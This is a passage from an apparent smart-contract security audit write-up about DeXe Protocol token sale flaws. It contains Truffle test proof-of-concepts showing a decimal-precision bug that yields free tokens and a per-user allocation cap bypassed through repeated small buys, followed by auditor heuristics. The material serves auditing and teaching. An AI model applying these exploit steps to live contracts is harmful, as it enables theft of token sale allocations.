    assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

    // next buyer attempts to purchase using 100 purchaseToken3 tokens
    // but sends input formatted into native 6 decimals
    // sends 6 decimal input: 100 000000
    let buyInput6Dec = 100000000;
    await tsp.buy(TIER9, purchaseToken3.address, buyInput6Dec);

    // buyer has bought an additional 100000000 sale tokens
    purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, "100000000000100000000");

    // but the buyer still has 900 000000 remaining purchasetoken3 tokens
    assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

    // by sending the input amount formatted to 6 decimal places,
    // the buyer was able to buy small amounts of the token being sold
    // for free!
});

When DAOs implement token sale systems they must carefully consider how to correctly handle swaps between tokens with different decimal precisions. Ideally, the DAO would handle all decimal conversions such that users could interact with the DAO passing input amounts in the native decimals of the token they are using and the DAO takes care of all required conversions. DAO developers should be especially alert when conversions return 0 and carefully consider the implications of letting transactions continue in this case.

Attacker Can Bypass Token Sale Max Allocation Per User

When DAOs implement token sale proposals to distribute the DAO token to users, it is important to limit the supply that any individual user can buy to limit the voting power each user will be able to command. As any user can control an infinite number of addresses, such token sales typically have restrictions such as whitelists and token locking requirements so that only a fixed set of addresses can participate in the token sale.

For the addresses that meet the requirements to participate in the token sale, another restriction is maxAllocationPerUser: the maximum amount that any user who qualifies to participate can buy. Consider this check from Cyfrin's DeXe Protocol audit that is made during every attempted purchase:

require(
    // @audit if maxAllocationPerUser == 0 not enforced
    tierInitParams.maxAllocationPerUser == 0 ||
    // @audit if maxAllocationPerUser > 0 attempt to check:
    // 1) sale is greater than the minimum
        (tierInitParams.minAllocationPerUser <= saleTokenAmount &&
    // 2) sale is smaller than the max allocation per user
         saleTokenAmount <= tierInitParams.maxAllocationPerUser),
    // the problem is that the entire amount the user has bought so
    // far is never added to the current amount to be bought, so
    // users can trivially bypass this check by doing several smaller
    // txns under the limit to buy out the entire token allocation
    "TSP: wrong allocation"
);

If the maxAllocationPerUser restriction is in effect (maxAllocationPerUser > 0) then this code checks if the current amount being purchased is smaller or equal to maxAllocationPerUser, but never considers the amount already purchased by the same user from the same token sale but in previous transactions.

Hence it is trivial for any user to bypass the token sale maxAllocationPerUser restriction by doing several smaller transactions each under maxAllocationPerUser to buy out the entire token allocation:

it("attacker can bypass token sale maxAllocationPerUser to buy out the entire tier", async () => {
    await purchaseToken1.approve(tsp.address, wei(1000));

    // tier8 has the following parameters:
    // totalTokenProvided   : wei(1000)
    // minAllocationPerUser : wei(10)
    // maxAllocationPerUser : wei(100)
    // exchangeRate         : 4 sale tokens for every 1 purchaseToken
    //
    // one user should at most be able to buy wei(100),
    // or 10% of the total tier.
    //
    // any user can bypass this limit by doing multiple
    // smaller buys to buy the entire tier.
    //
    // start: user has bought no tokens
    let TIER8 = 8;
    let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(0));

    // if the user tries to buy it all in one txn,
    // maxAllocationPerUser is enforced and the txn reverts
    await truffleAssert.reverts(tsp.buy(TIER8, purchaseToken1.address, wei(250)), "TSP: wrong allocation");

    // but user can do multiple smaller buys to get around the
    // maxAllocationPerUser check which only checks each
    // txn individually, doesn't factor in the total amount
    // user has already bought
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));
    await tsp.buy(TIER8, purchaseToken1.address, wei(25));

    // end: user has bought wei(1000) tokens - the entire tier!
    purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(1000));

    // attempting to buy more fails as the entire tier
    // has been bought by the single user
    await truffleAssert.reverts(
      tsp.buy(TIER8, purchaseToken1.address, wei(25)),
      "TSP: insufficient sale token amount"
    );
});

Smart contract auditors should check whether they can bypass restrictions on one big transaction through multiple smaller transactions.

Heuristics To Find Similar Exploits

Smart contract auditors can use the following heuristics to find similar exploits. These heuristics are intentionally phrased as questions to prompt your mind to challenge the code:

1. do many small operations result in the same effect as one large operation?

2. are there similar but slightly different checks in different places ("<" vs "<=")? If so, can this be exploited with an attack that occurs in that gap?

3. does "total" (stored in its own storage location) equal the sum of all individual user values (stored in a mapping) at all times? What about at snapshot time?

4. when a snapshot is taken, can the order of function calls lead to an inconsistency between the "total" storage location and sum of individual user values?

5. can I change the "total" storage location without changing the individual storage locations perhaps through a creative attack vector?

6. can I call functions with a non-existent identifier, 0 or a custom address that I control and it doesn't revert but executes and returns > 0 values?

7. what happens if I use really small values (even 1 wei)? Is there a rounding that occurs and can that be exploited?

8. are there gaps in the testing suite such as lack of integration tests between 2 important contracts, or very simplistic test cases of complicated processes? Focus on those areas and create more complicated test scenarios to probe the system into misbehaving.

9. does the test suite do anything different to the production code? Is the test suite calling functions that never get called in the protocol code?

10. once I have created a scenario where the system misbehaves, how can I leverage this to cause maximum damage?